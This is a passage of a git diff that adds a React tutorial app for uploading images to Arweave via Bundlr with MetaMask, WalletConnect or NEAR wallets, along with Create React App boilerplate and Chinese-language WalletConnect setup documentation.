+declare var window: any // TODO: specifically extend type to valid injected objects.
+
+
+
+function App() {
+  const defaultCurrency = "Select a Currency"
+  const defaultSelection = "Select a Provider"
+  const [currency, setCurrency] = React.useState<string>(defaultCurrency);
+  const [address, setAddress] = React.useState<string>();
+  const [selection, setSelection] = React.useState<string>(defaultSelection);
+  const [balance, setBalance] = React.useState<string>();
+  const [img, setImg] = React.useState<Buffer>();
+  const [price, setPrice] = React.useState<BigNumber>();
+  const [bundler, setBundler] = React.useState<WebBundlr>();
+  const [bundlerHttpAddress, setBundlerAddress] = React.useState<string>(
+    "https://node1.bundlr.network"
+  );
+  const [fundAmount, setFundingAmount] = React.useState<string>();
+  const [withdrawAmount, setWithdrawAmount] = React.useState<string>();
+  const [provider, setProvider] = React.useState<Web3Provider>();
+
+  const toast = useToast();
+  const intervalRef = React.useRef<number>();
+
+
+  const clean = async () => {
+    clearInterval(intervalRef.current)
+    setBalance(undefined);
+    setImg(undefined);
+    setPrice(undefined);
+    setBundler(undefined);
+    setProvider(undefined);
+    setAddress(undefined);
+    setCurrency(defaultCurrency);
+    setSelection(defaultSelection);
+
+  }
+
+
+  const handleFileClick = () => {
+    var fileInputEl = document.createElement("input");
+    fileInputEl.type = "file";
+    fileInputEl.accept = "image/*";
+    fileInputEl.style.display = "none";
+    document.body.appendChild(fileInputEl);
+    fileInputEl.addEventListener("input", function (e) {
+      handleUpload(e as any);
+      document.body.removeChild(fileInputEl);
+    });
+    fileInputEl.click();
+  };
+
+  const handleUpload = async (evt: React.ChangeEvent<HTMLInputElement>) => {
+    let files = evt.target.files;
+    let reader = new FileReader();
+    if (files && files.length > 0) {
+      reader.onload = function () {
+        if (reader.result) {
+          setImg(Buffer.from(reader.result as ArrayBuffer));
+        }
+      };
+      reader.readAsArrayBuffer(files[0]);
+    }
+  };
+
+  const handlePrice = async () => {
+    if (img) {
+      const price = await bundler?.utils.getPrice(currency as string, img.length);
+      //@ts-ignore
+      setPrice(price?.toString());
+    }
+  };
+
+  const uploadFile = async () => {
+    if (img) {
+      await bundler?.uploader.upload(img, [{ name: "Content-Type", value: "image/png" }])
+        .then((res) => {
+          toast({
+            status: res?.status === 200 || res?.status === 201 ? "success" : "error",
+            title: res?.status === 200 || res?.status === 201 ? "Successful!" : `Unsuccessful! ${res?.status}`,
+            description: res?.data.id ? `https://arweave.net/${res.data.id}` : undefined,
+            duration: 15000,
+          });
+        })
+        .catch(e => { toast({ status: "error", title: `Failed to upload - ${e}` }) })
+    }
+  };
+
+  const fund = async () => {
+    if (bundler && fundAmount) {
+      toast({ status: "info", title: "Funding...", duration: 15000 })
+      const value = parseInput(fundAmount)
+      if (!value) return
+      await bundler.fund(value)
+        .then(res => { toast({ status: "success", title: `Funded ${res?.target}`, description: ` tx ID : ${res?.id}`, duration: 10000 }) })
+        .catch(e => {
+          toast({ status: "error", title: `Failed to fund - ${e.data?.message || e.message}` })
+        })
+    }
+
+  };
+
+  const withdraw = async () => {
+    if (bundler && withdrawAmount) {
+      toast({ status: "info", title: "Withdrawing..", duration: 15000 })
+      const value = parseInput(withdrawAmount)
+      if (!value) return
+      await bundler
+        .withdrawBalance(value)
+        .then((data) => {
+          toast({
+            status: "success",
+            title: `Withdrawal successful - ${data.data?.tx_id}`,
+            duration: 5000,
+          });
+        })
+        .catch((err: any) => {
+          toast({
+            status: "error",
+            title: "Withdrawal Unsuccessful!",
+            description: err.message,
+            duration: 5000,
+          });
+        });
+    }
+  };
+
+  // field change event handlers
+
+  const updateAddress = (evt: React.BaseSyntheticEvent) => {
+    setBundlerAddress(evt.target.value);
+  };
+
+  const updateFundAmount = (evt: React.BaseSyntheticEvent) => {
+    setFundingAmount(evt.target.value);
+  };
+
+  const updateWithdrawAmount = (evt: React.BaseSyntheticEvent) => {
+    setWithdrawAmount(evt.target.value);
+  };
+
+
+  const connectWeb3 = async (connector: any) => {
+    if (provider) {
+      await clean();
+    }
+    const p = new providers.Web3Provider(connector);
+    await p._ready();
+    return p
+  }
+
+  /**
+   * Map of providers with initialisation code - c is the configuration object from currencyMap
+   */
+  const providerMap = {
+    "MetaMask": async (c: any) => {
+      if (!window?.ethereum?.isMetaMask) return;
+      await window.ethereum.enable();
+      const provider = await connectWeb3(window.ethereum);
+      const chainId = `0x${c.chainId.toString(16)}`
+      try { // additional logic for requesting a chain switch and conditional chain add.
+        await window.ethereum.request({
+          method: 'wallet_switchEthereumChain',
+          params: [{ chainId }],
+        })
+      } catch (e: any) {
+        if (e.code === 4902) {
+          await window.ethereum.request({
+            method: 'wallet_addEthereumChain',
+            params: [{
+              chainId, rpcUrls: c.rpcUrls, chainName: c.chainName
+            }],
+          });
+        }
+      }
+      return provider;
+    },
+    "WalletConnect": async (c: any) => { return await connectWeb3(await (new WalletConnectProvider(c)).enable()) },
+    // "Phantom": async (c: any) => {
+    //   if (window.solana.isPhantom) {
+    //     await window.solana.connect();
+    //     const p = new PhantomWalletAdapter()
+    //     await p.connect()
+    //     return p;
+    //   }
+    // },
+    "wallet.near.org": async (c: any) => {
+      const near = await connect(c);
+      const wallet = new WalletConnection(near, "bundlr");
+      if (!wallet.isSignedIn()) {
+        toast({ status: "info", title: "You are being redirected to authorize this application..." })
+        window.setTimeout(() => { wallet.requestSignIn() }, 4000)
+        // wallet.requestSignIn();
+      }
+      else if (!await c.keyStore.getKey(wallet._networkId, wallet.getAccountId())) {
+        toast({ status: "warning", title: "Click 'Connect' to be redirected to authorize access key creation." })
+      }
+      return wallet
+    }
+
+  } as any
+
+  const ethProviders = ["MetaMask", "WalletConnect"]
+
+  const currencyMap = {
+    // "solana": {
+    //   providers: ["Phantom"], opts: {}
+    // },
+    "matic": {
+      providers: ethProviders,
+      opts: {
+        chainId: 137,
+        chainName: 'Polygon Mainnet',
+        rpcUrls: ["https://rpc-mainnet.maticvigil.com"],
+      },
+    },
+    "arbitrum": {
+      providers: ethProviders,
+      opts: {
+        chainName: "Arbitrum One",
+        chainId: 42161,
+        rpcUrls: ["https://arb1.arbitrum.io/rpc"]
+      }
+    },
+    "bnb": {
+      providers: ethProviders,
+      opts: {
+        chainName: "Binance Smart Chain",
+        chainId: 56,
+        rpcUrls: ["https://bsc-dataseed.binance.org/"]
+      }
+    },
+    "avalanche": {
+      providers: ethProviders,
+      opts: {
+        chainName: "Avalanche Network",
+        chainId: 43114,
+        rpcUrls: ["https://api.avax.network/ext/bc/C/rpc"]
+      }
+    },
+    "boba": {
+      providers: ethProviders,
+      opts: {
+        chainName: "BOBA L2",
+        chainId: 288,
+        rpcUrls: ["https://mainnet.boba.network"]
+      }
+    },
+    "near": {
+      providers: ["wallet.near.org"],
+      opts: {
+        networkId: "mainnet",
+        keyStore: new keyStores.BrowserLocalStorageKeyStore(),
+        nodeUrl: "https://rpc.mainnet.near.org",
+        walletUrl: "https://wallet.mainnet.near.org",
+        helperUrl: "https://helper.mainnet.near.org",
+        explorerUrl: "https://explorer.mainnet.near.org",
+      }
+    }
+  } as any
+
+
+  /**
+   * initialises the selected provider/currency
+   * @param cname currency name
+   * @param pname provider name
+   * @returns
+   */
+  const initProvider = async () => {
+    if (intervalRef.current) {
+      clearInterval(intervalRef.current)
+    }
+    if (provider) {
+      setProvider(undefined);
+      setBundler(undefined);
+      setAddress(undefined);
+      return;
+    }
+
+    const pname = selection as string;
+    const cname = currency as string;
+    const p = providerMap[pname] // get provider entry
+    const c = currencyMap[cname]
+    console.log(`loading: ${pname} for ${cname}`)
+    const providerInstance = await p(c.opts).catch((e: Error) => { toast({ status: "error", title: `Failed to load provider ${pname}`, duration: 10000 }); console.log(e); return; })
+    setProvider(providerInstance)
+  };
+
+  const initBundlr = async () => {
+    const bundlr = new WebBundlr(bundlerHttpAddress, currency, provider)
+    try {
+      // Check for valid bundlr node
+      await bundlr.utils.getBundlerAddress(currency)
+    } catch {
+      toast({ status: "error", title: `Failed to connect to bundlr ${bundlerHttpAddress}`, duration: 10000 })
+      return;
+    }
+    try {
+      await bundlr.ready();
+    } catch (err) {
+      console.log(err);
+    } //@ts-ignore
+    if (!bundlr.address) {
+      console.log("something went wrong");
+    }
+    toast({ status: "success", title: `Connected to ${bundlerHttpAddress}` })
+    setAddress(bundlr?.address)
+    setBundler(bundlr);
+  }
+
+  const toProperCase = (s: string) => { return s.charAt(0).toUpperCase() + s.substring(1).toLowerCase() }
+  const toggleRefresh = async () => {
+    if (intervalRef) {
+      clearInterval(intervalRef.current)
+    }
+
+    intervalRef.current = window.setInterval(async () => { bundler?.getLoadedBalance().then((r) => { setBalance(r.toString()) }).catch(_ => clearInterval(intervalRef.current)) }, 5000)
+  }
+
+  // parse decimal input into atomic units
+  const parseInput = (input: string | number) => {
+    const conv = new BigNumber(input).multipliedBy(bundler!.currencyConfig.base[1]);
+    if (conv.isLessThan(1)) {
+      toast({ status: "error", title: `Value too small!` })
+      return;
+    }
+    return conv;
+  }
+
+  return (
+    <VStack mt={10} >
+      <HStack>
+        {" "}
+        <Menu >
+          <MenuButton as={Button} rightIcon={<ChevronDownIcon />}>
+            {toProperCase(currency)}
+          </MenuButton>
+          <MenuList>
+            {Object.keys(currencyMap).map((v) => {
+              return (<MenuItem key={v} onClick={() => { clean(); setCurrency(v) }}>{toProperCase(v)}</MenuItem>) // proper/title case
+            })}
+          </MenuList>
+        </Menu>
+        <Menu >
+          <MenuButton disabled={currency === defaultCurrency} as={Button} rightIcon={<ChevronDownIcon />}>
+            {selection}
+          </MenuButton>
+          <MenuList>
+            {Object.keys(providerMap).map((v) => {
+              return ((currencyMap[currency] && currencyMap[currency].providers.indexOf(v) !== -1) ? (<MenuItem key={v} onClick={() => setSelection(v)}>{v}</MenuItem>) : undefined)
+            })}
+          </MenuList>
+        </Menu>
+        <Button disabled={!(selection !== defaultSelection && currency !== defaultCurrency && bundlerHttpAddress.length > 8)} onClick={async () => await initProvider()}>
+          {provider ? "Disconnect" : "Connect"}
+        </Button>
+      </HStack>
+      <Text>Connected Account: {address ?? "None"}</Text>
+      <HStack>
+        <Button w={400} disabled={!provider} onClick={async () => await initBundlr()}>
+          Connect to Bundlr
+        </Button>
+        <Input
+          value={bundlerHttpAddress}
+          onChange={updateAddress}
+          placeholder="Bundler Address"
+        />
+      </HStack>
+      {
+        bundler && (
+          <>
+            <HStack>
+              <Button
+                onClick={async () => {
+                  address &&
+                    bundler!
+                      .getBalance(address)
+                      .then((res: BigNumber) => {
+                        setBalance(res.toString())
+                      });
+                  await toggleRefresh();
+                }}
+
+              >
+                Get {toProperCase(currency)} Balance
+              </Button>
+              {balance && (
+                <Tooltip label={`(${balance} ${bundler.currencyConfig.base[0]})`}>
+                  <Text>
+                    {toProperCase(currency)} Balance: {bundler.utils.unitConverter(balance).toFixed(7, 2).toString()} {bundler.currencyConfig.ticker.toLowerCase()}
+                  </Text>
+                </Tooltip>
+              )}
+            </HStack>
+            <HStack>
+              <Button w={200} onClick={fund}>
+                Fund Bundlr
+              </Button>
+              <Input
+                placeholder={`${toProperCase(currency)} Amount`}
+                value={fundAmount}
+                onChange={updateFundAmount}
+              />
+            </HStack>
+            <HStack>
+              <Button w={200} onClick={withdraw}>
+                Withdraw Balance
+              </Button>
+              <Input
+                placeholder={`${toProperCase(currency)} Amount`}
+                value={withdrawAmount}
+                onChange={updateWithdrawAmount}
+              />
+            </HStack>
+            <Button onClick={handleFileClick}>Select file from Device</Button>
+            {
+              img && (
+                <>
+                  <HStack>
+                    <Button onClick={handlePrice}>Get Price</Button>
+                    {price && (
+                      <Text>{`Cost: ${bundler.utils.unitConverter(price).toString()} ${bundler.currencyConfig.ticker.toLowerCase()} `}</Text>
+                    )}
+                  </HStack>
+                  <Button onClick={uploadFile}>Upload to Bundlr Network</Button>
+                </>
+              )
+            }
+          </>
+        )
+      }
+    </VStack >
+  );
+}
+
+export default App;
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/index.tsx b/basic/70-arweave-file-upload-with-bundlr/src/index.tsx
new file mode 100644
index 000000000..f84eea3fb
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/index.tsx
@@ -0,0 +1,22 @@
+import React from 'react';
+import ReactDOM from "react-dom";
+import App from "./App";
+import reportWebVitals from "./reportWebVitals";
+
+import { ChakraProvider, theme } from "@chakra-ui/react";
+
+
+ReactDOM.render(
+  <React.StrictMode>
+
+    <ChakraProvider theme={theme}>
+      <App />
+    </ChakraProvider>
+  </React.StrictMode>,
+  document.getElementById("root")
+);
+
+// If you want to start measuring performance in your app, pass a function
+// to log results (for example: reportWebVitals(console.log))
+// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
+reportWebVitals();
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/logo.svg b/basic/70-arweave-file-upload-with-bundlr/src/logo.svg
new file mode 100644
index 000000000..cca220f49
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/logo.svg
@@ -0,0 +1,4 @@
+<svg width="177" height="197" viewBox="0 0 177 197" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M162.245 31.6705C157.631 28.8924 152.35 27.4188 146.964 27.4066C146.079 27.4066 145.19 27.4479 144.346 27.5304C141.821 27.7462 139.337 28.3013 136.96 29.1809C135.575 29.6566 134.233 30.2486 132.948 30.9507L117.121 39.3913L109.694 43.4031L55.9187 72.1912C51.1626 74.7174 47.1858 78.4932 44.4163 83.1119C41.6469 87.7306 40.1898 93.0172 40.2019 98.4025V124.403L60.0404 113.766V98.4025C60.0377 96.6171 60.5188 94.8643 61.4327 93.3304C62.3466 91.7965 63.659 90.5389 65.2304 89.6914L109.634 65.9283L117.066 61.9624L136.905 51.3256L142.223 48.4555C142.89 48.0914 143.598 47.8082 144.332 47.6119C145.14 47.3695 145.978 47.2414 146.822 47.2314C148.622 47.2454 150.385 47.7409 151.929 48.6664C153.393 49.5338 154.604 50.7696 155.441 52.2505C156.278 53.7314 156.713 55.4058 156.702 57.1071V112.991C156.711 114.779 156.232 116.534 155.316 118.07C154.401 119.605 153.084 120.861 151.508 121.703L59.9166 170.687V153.086L40.0781 163.722V186.307C40.0768 188.12 40.5469 189.902 41.4423 191.478C42.3378 193.055 43.6278 194.371 45.1856 195.298C46.8145 196.285 48.6869 196.796 50.5911 196.774C52.3116 196.77 54.0055 196.35 55.529 195.55L160.842 139.157C165.599 136.632 169.575 132.857 172.343 128.237C175.11 123.618 176.563 118.33 176.545 112.946V57.1621C176.623 52.0291 175.341 46.9668 172.83 42.4896C170.318 38.0123 166.666 34.2796 162.245 31.6705Z" fill="currentColor"/>
+<path d="M117.121 70.3756V85.7394C117.13 87.5259 116.651 89.281 115.736 90.8158C114.822 92.3506 113.506 93.6072 111.931 94.4505L67.5274 118.214L60.0954 122.221L40.2569 132.858L32.8295 136.828L20.4184 143.494V71.0909C20.4146 69.3047 20.8958 67.5509 21.8107 66.0168C22.7255 64.4826 24.0397 63.2255 25.613 62.3797L102.601 21.1576C104.004 20.3747 105.58 19.954 107.186 19.9335C108.986 19.9493 110.749 20.4446 112.294 21.3685C113.757 22.237 114.968 23.4736 115.805 24.9552C116.642 26.4369 117.077 28.1119 117.066 29.8138V30.9095L129.349 24.3257C131.398 23.2233 133.547 22.319 135.768 21.6253C133.726 14.3611 128.964 8.16264 122.472 4.31758C118.075 1.67348 113.065 0.220746 107.936 0.102563C102.806 -0.0156209 97.7347 1.20481 93.2207 3.6436L16.1958 44.8795C11.4429 47.4084 7.46943 51.1851 4.7026 55.8035C1.93577 60.4219 0.480312 65.7072 0.492755 71.0909V159.055C0.490495 160.868 0.960234 162.651 1.85576 164.227C2.75129 165.803 4.04177 167.12 5.60024 168.046C7.22734 169.033 9.09802 169.546 11.0012 169.527C12.7217 169.523 14.4157 169.103 15.939 168.303L32.7378 159.312L40.1698 155.3L60.0083 144.663L67.4357 140.652L121.252 111.951C126.007 109.425 129.981 105.649 132.746 101.029C135.511 96.41 136.962 91.123 136.942 85.7394V59.7343L117.121 70.3756Z" fill="currentColor"/>
+</svg>
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/react-app-env.d.ts b/basic/70-arweave-file-upload-with-bundlr/src/react-app-env.d.ts
new file mode 100644
index 000000000..624c875ec
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/react-app-env.d.ts
@@ -0,0 +1,71 @@
+/// <reference types="node" />
+/// <reference types="react" />
+/// <reference types="react-dom" />
+
+declare namespace NodeJS {
+  interface ProcessEnv {
+    readonly NODE_ENV: 'development' | 'production' | 'test';
+    readonly PUBLIC_URL: string;
+  }
+}
+
+declare module '*.avif' {
+  const src: string;
+  export default src;
+}
+
+declare module '*.bmp' {
+  const src: string;
+  export default src;
+}
+
+declare module '*.gif' {
+  const src: string;
+  export default src;
+}
+
+declare module '*.jpg' {
+  const src: string;
+  export default src;
+}
+
+declare module '*.jpeg' {
+  const src: string;
+  export default src;
+}
+
+declare module '*.png' {
+  const src: string;
+  export default src;
+}
+
+declare module '*.webp' {
+    const src: string;
+    export default src;
+}
+
+declare module '*.svg' {
+  import * as React from 'react';
+
+  export const ReactComponent: React.FunctionComponent<React.SVGProps<
+    SVGSVGElement
+  > & { title?: string }>;
+
+  const src: string;
+  export default src;
+}
+
+declare module '*.module.css' {
+  const classes: { readonly [key: string]: string };
+  export default classes;
+}
+
+declare module '*.module.scss' {
+  const classes: { readonly [key: string]: string };
+  export default classes;
+}
+
+declare module '*.module.sass' {
+  const classes: { readonly [key: string]: string };
+  export default classes;
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/reportWebVitals.ts b/basic/70-arweave-file-upload-with-bundlr/src/reportWebVitals.ts
new file mode 100644
index 000000000..49a2a16e0
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/reportWebVitals.ts
@@ -0,0 +1,15 @@
+import { ReportHandler } from 'web-vitals';
+
+const reportWebVitals = (onPerfEntry?: ReportHandler) => {
+  if (onPerfEntry && onPerfEntry instanceof Function) {
+    import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
+      getCLS(onPerfEntry);
+      getFID(onPerfEntry);
+      getFCP(onPerfEntry);
+      getLCP(onPerfEntry);
+      getTTFB(onPerfEntry);
+    });
+  }
+};
+
+export default reportWebVitals;
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/setupTests.ts b/basic/70-arweave-file-upload-with-bundlr/src/setupTests.ts
new file mode 100644
index 000000000..8f2609b7b
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/setupTests.ts
@@ -0,0 +1,5 @@
+// jest-dom adds custom jest matchers for asserting on DOM nodes.
+// allows you to do things like:
+// expect(element).toHaveTextContent(/react/i)
+// learn more: https://github.com/testing-library/jest-dom
+import '@testing-library/jest-dom';
diff --git a/basic/70-arweave-file-upload-with-bundlr/tsconfig.json b/basic/70-arweave-file-upload-with-bundlr/tsconfig.json
new file mode 100644
index 000000000..ef9345b78
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/tsconfig.json
@@ -0,0 +1,26 @@
+{
+  "compilerOptions": {
+    "target": "es5",
+    "lib": [
+      "dom",
+      "dom.iterable",
+      "esnext"
+    ],
+    "allowJs": true,
+    "skipLibCheck": false,
+    "esModuleInterop": true,
+    "allowSyntheticDefaultImports": true,
+    "strict": false,
+    "forceConsistentCasingInFileNames": true,
+    "noFallthroughCasesInSwitch": true,
+    "module": "esnext",
+    "moduleResolution": "node",
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "noEmit": true,
+    "jsx": "react-jsx"
+  },
+  "include": [
+    "src"
+  ]
+}
diff --git a/basic/78-wallet-connect/.gitignore b/basic/78-wallet-connect/.gitignore
new file mode 100644
index 000000000..4c49bd78f
--- /dev/null
+++ b/basic/78-wallet-connect/.gitignore
@@ -0,0 +1 @@
+.env
diff --git a/basic/78-wallet-connect/README.md b/basic/78-wallet-connect/README.md
new file mode 100644
index 000000000..8f15b2dc0
--- /dev/null
+++ b/basic/78-wallet-connect/README.md
@@ -0,0 +1,136 @@
+# WalletConnect
+
+## 简介
+
+**WalletConnect** 是一个开放协议，允许用户将加密钱包安全地连接到去中心化应用（DApps），并支持多区块链网络的交互。用户只需扫描二维码或使用深度链接，即可与 DApp 进行交互，而无需暴露私钥，提供了安全、便捷的体验。
+
+WalletConnect 通过加密消息在钱包与 DApp 之间传递信息，确保安全性。此外，WalletConnect 还支持多链和多会话连接，已广泛应用于 DeFi 和 NFT 平台等 Web3 领域。
+
+## 功能
+
+- **多链支持**：WalletConnect v2 支持跨多个区块链网络的连接，用户可以在单一会话中管理多链资产。
+- **安全消息传递**：所有通信均加密，确保钱包和 DApp 之间的交互安全。
+- **灵活的会话管理**：支持多会话，用户可以轻松在不同 DApps 和区块链网络之间切换。
+- **简单的集成方式**：DApp 和钱包开发者可以使用 WalletConnect SDK 快速集成，并支持广泛的钱包连接。
+- **跨平台兼容**：支持 iOS、Android 和 Web，确保用户在各种设备上都能访问。
+
+## 安装
+
+在 DApp 中使用 WalletConnect 时，可以安装 WalletConnect JavaScript 客户端库：
+
+```bash
+npm install @walletconnect/client
+```
+
+对于钱包提供方，需要集成 WalletConnect SDK（提供 iOS、Android 和 Web 版本）。
+
+## 使用
+
+### 步骤 1：初始化 WalletConnect 客户端
+
+在 JavaScript/TypeScript 代码中，导入并初始化 WalletConnect 客户端：
+
+```javascript
+import WalletConnect from "@walletconnect/client";
+import QRCodeModal from "@walletconnect/qrcode-modal";
+
+// 创建 WalletConnect 客户端实例
+const connector = new WalletConnect({
+  bridge: "https://bridge.walletconnect.org", // 必填项
+  qrcodeModal: QRCodeModal,
+});
+```
+
+### 步骤 2：检查连接并创建会话
+
+如果没有已建立的连接，则创建一个新会话，提示用户连接钱包。
+
+```javascript
+// 检查是否已连接
+if (!connector.connected) {
+  // 创建新会话
+  await connector.createSession();
+}
+
+// 监听会话事件
+connector.on("connect", (error, payload) => {
+  if (error) {
+    throw error;
+  }
+
+  // 连接成功
+  const { accounts, chainId } = payload.params[0];
+});
+
+connector.on("session_update", (error, payload) => {
+  if (error) {
+    throw error;
+  }
+
+  // 更新的账户和链ID
+  const { accounts, chainId } = payload.params[0];
+});
+
+connector.on("disconnect", (error, payload) => {
+  if (error) {
+    throw error;
+  }
+
+  // 已断开连接
+});
+```
+
+### 步骤 3：发送交易
+
+连接成功后，即可与区块链进行交互。例如，发送一笔交易：
+
+```javascript
+// 设置交易详情
+const tx = {
+  from: accounts[0], // 用户地址
+  to: "0xRecipientAddress",
+  value: "0xAmountInWei", // 金额，单位为 wei
+  data: "0x", // 可选数据
+};
+
+// 发送交易请求
+const result = await connector.sendTransaction(tx);
+```
+
+## 从 WalletConnect v1 迁移到 v2
+
+随着 WalletConnect v2 的发布，应用现已支持多链、多会话功能，并提供了更高的安全性。如果您仍在使用 WalletConnect v1，建议尽快迁移到 v2，以享受这些新功能的优势。
+
+
+## WalletConnect V1 与 V2 对比
+
+WalletConnect V2 引入了多链、多会话支持和改进的协议设计，提升了用户体验和开发灵活性。以下是 V1 和 V2 主要功能的对比：
+
+| 功能                      | WalletConnect V1                        | WalletConnect V2                               |
+|---------------------------|-----------------------------------------|------------------------------------------------|
+| **多链支持**               | 不支持                                  | 支持多个区块链网络，允许跨链操作               |
+| **多会话管理**             | 不支持                                  | 支持多个会话同时存在，简化用户切换             |
+| **连接效率**               | 单一桥接服务器，容易过载               | 分布式桥接，降低延迟，提升连接稳定性           |
+| **消息加密方式**           | 使用 AES-256-CBC 加密                    | 使用 X25519 和 Noise 协议的混合加密方案         |
+| **会话恢复**               | 每次需重新连接，体验不佳                | 支持持久会话，用户无需频繁扫码                  |
+| **会话控制和管理**         | 简单控制，功能有限                     | 提供更细致的权限控制和管理接口                  |
+| **拓展性**                 | 限制较多                                | 模块化设计，支持不同应用场景的灵活扩展          |
+| **链选择**                 | 无法在会话中切换链                     | 用户可在单一会话中选择并切换多个区块链          |
+| **连接稳定性**             | 依赖于中心化桥接服务器                 | 支持分布式和多节点桥接，增强连接稳定性          |
+| **事件监听**               | 支持基础事件监听                       | 提供丰富的事件 API，简化多链事件处理            |
+| **开发难度**               | 较低                                    | 功能更强大，集成更复杂，需要额外的配置           |
+
+## 常见问题
+
+- **二维码未显示**：请确保 `QRCodeModal` 正确导入并配置。
+- **连接问题**：请检查桥接 URL，默认桥接为 `"https://bridge.walletconnect.org"`，也支持自托管桥接。
+
+## 资源
+
+- [WalletConnect 文档](https://docs.walletconnect.com/)
+- [WalletConnect GitHub](https://github.com/WalletConnect)
+- [WalletConnect 博客](https://walletconnect.com/blog)
+
+## 许可证
+
+本项目采用 MIT 许可证。
diff --git a/basic/78-wallet-connect/docs/guides/installation.md b/basic/78-wallet-connect/docs/guides/installation.md
new file mode 100644
index 000000000..eb16342be
--- /dev/null
+++ b/basic/78-wallet-connect/docs/guides/installation.md
@@ -0,0 +1,191 @@
+# WalletConnect 安装和使用指南
+
+## 安装
+
+在 DApp 中使用 WalletConnect 时，可以安装 WalletConnect JavaScript 客户端库：
+
+```bash
+npm install @walletconnect/client
+```
+
+对于钱包提供方，需要集成 WalletConnect SDK（提供 iOS、Android 和 Web 版本）。
+
+## 基本使用
+
+### 步骤 1：初始化 WalletConnect 客户端
+
+在 JavaScript/TypeScript 代码中，导入并初始化 WalletConnect 客户端：
+
+```javascript
+import WalletConnect from "@walletconnect/client";
+import QRCodeModal from "@walletconnect/qrcode-modal";
+
+// 创建 WalletConnect 客户端实例
+const connector = new WalletConnect({
+  bridge: "https://bridge.walletconnect.org", // 必填项
+  qrcodeModal: QRCodeModal,
+});
+```
+
+### 步骤 2：检查连接并创建会话
+
+如果没有已建立的连接，则创建一个新会话，提示用户连接钱包。
+
+```javascript
+// 检查是否已连接
+if (!connector.connected) {
+  // 创建新会话
+  await connector.createSession();
+}
+
+// 监听会话事件
+connector.on("connect", (error, payload) => {
+  if (error) {
+    throw error;
+  }
+
+  // 连接成功
+  const { accounts, chainId } = payload.params[0];
+});
+
+connector.on("session_update", (error, payload) => {
+  if (error) {
+    throw error;
+  }
+
+  // 更新的账户和链ID
+  const { accounts, chainId } = payload.params[0];
+});
+
+connector.on("disconnect", (error, payload) => {
+  if (error) {
+    throw error;
+  }
+
+  // 已断开连接
+});
+```
+
+### 步骤 3：发送交易
+
+连接成功后，即可与区块链进行交互。例如，发送一笔交易：
+
+```javascript
+// 设置交易详情
+const tx = {
+  from: accounts[0], // 用户地址
+  to: "0xRecipientAddress",
+  value: "0xAmountInWei", // 金额，单位为 wei
+  data: "0x", // 可选数据
+};
+
+// 发送交易请求
+const result = await connector.sendTransaction(tx);
+```
+
+## 高级配置
+
+### 多链支持
+
+要支持多个区块链网络，可以在初始化时配置：
+
+```javascript
+const connector = new WalletConnect({
+  bridge: "https://bridge.walletconnect.org",
+  qrcodeModal: QRCodeModal,
+  chainId: 1, // 默认以太坊主网
+  supportedChainIds: [1, 56, 137] // 支持的链ID：以太坊、BSC、Polygon
+});
+```
+
+### 自定义配置
+
+```javascript
+const connector = new WalletConnect({
+  bridge: "https://your-custom-bridge.com",
+  qrcodeModal: QRCodeModal,
+  clientMeta: {
+    name: "Your DApp",
+    description: "Your DApp Description",
+    url: "https://your-dapp.com",
+    icons: ["https://your-dapp.com/icon.png"]
+  }
+});
+```
+
+## 错误处理最佳实践
+
+### 连接错误处理
+
+```javascript
+connector.on("connect", (error, payload) => {
+  if (error) {
+    console.error("连接错误:", error);
+    // 实现重试逻辑
+    return;
+  }
+  // 连接成功处理
+});
+
+// 自定义错误处理
+try {
+  await connector.createSession();
+} catch (error) {
+  if (error.message.includes("User rejected")) {
+    console.log("用户拒绝连接");
+  } else {
+    console.error("创建会话失败:", error);
+  }
+}
+```
+
+### 交易错误处理
+
+```javascript
+try {
+  const result = await connector.sendTransaction(tx);
+} catch (error) {
+  if (error.message.includes("insufficient funds")) {
+    console.error("余额不足");
+  } else if (error.message.includes("gas")) {
+    console.error("Gas 费用估算失败");
+  } else {
+    console.error("交易失败:", error);
+  }
+}
+```
+
+## 安全性考虑
+
+### 数据加密
+
+- 确保所有敏感数据在传输前进行加密
+- 不要在客户端存储私钥或助记词
+- 使用安全的通信协议（HTTPS）
+
+### 交易安全
+
+- 在发送交易前进行金额和地址验证
+- 实现交易确认对话框
+- 显示详细的交易信息供用户确认
+
+### 会话管理
+
+- 定期检查会话状态
+- 实现自动断开连接的超时机制
+- 在用户离开应用时清理会话数据
+
+## 性能优化
+
+- 使用 WebSocket 保持连接状态
+- 实现重连机制
+- 缓存常用数据
+- 批量处理交易请求
+
+## 常见问题
+
+- **二维码未显示**：请确保 `QRCodeModal` 正确导入并配置。
+- **连接问题**：请检查桥接 URL，默认桥接为 `"https://bridge.walletconnect.org"`，也支持自托管桥接。
+- **断开连接**：检查网络状态，确保 WebSocket 连接正常。
+- **交易失败**：验证账户余额、Gas 费用设置是否合理。
+- **兼容性问题**：确认钱包版本是否支持当前协议版本。
diff --git a/basic/78-wallet-connect/docs/introduction/overview.md b/basic/78-wallet-connect/docs/introduction/overview.md
new file mode 100644
index 000000000..3a23f903a
--- /dev/null
+++ b/basic/78-wallet-connect/docs/introduction/overview.md
@@ -0,0 +1,445 @@
+# WalletConnect 概述
+
+## 简介
+
+**WalletConnect** 是一个开放协议，允许用户将加密钱包安全地连接到去中心化应用（DApps），并支持多区块链网络的交互。用户只需扫描二维码或使用深度链接，即可与 DApp 进行交互，而无需暴露私钥，提供了安全、便捷的体验。
+
+WalletConnect 通过加密消息在钱包与 DApp 之间传递信息，确保安全性。此外，WalletConnect 还支持多链和多会话连接，已广泛应用于 DeFi 和 NFT 平台等 Web3 领域。
+
+## 功能
+
+- **多链支持**：WalletConnect v2 支持跨多个区块链网络的连接，用户可以在单一会话中管理多链资产。
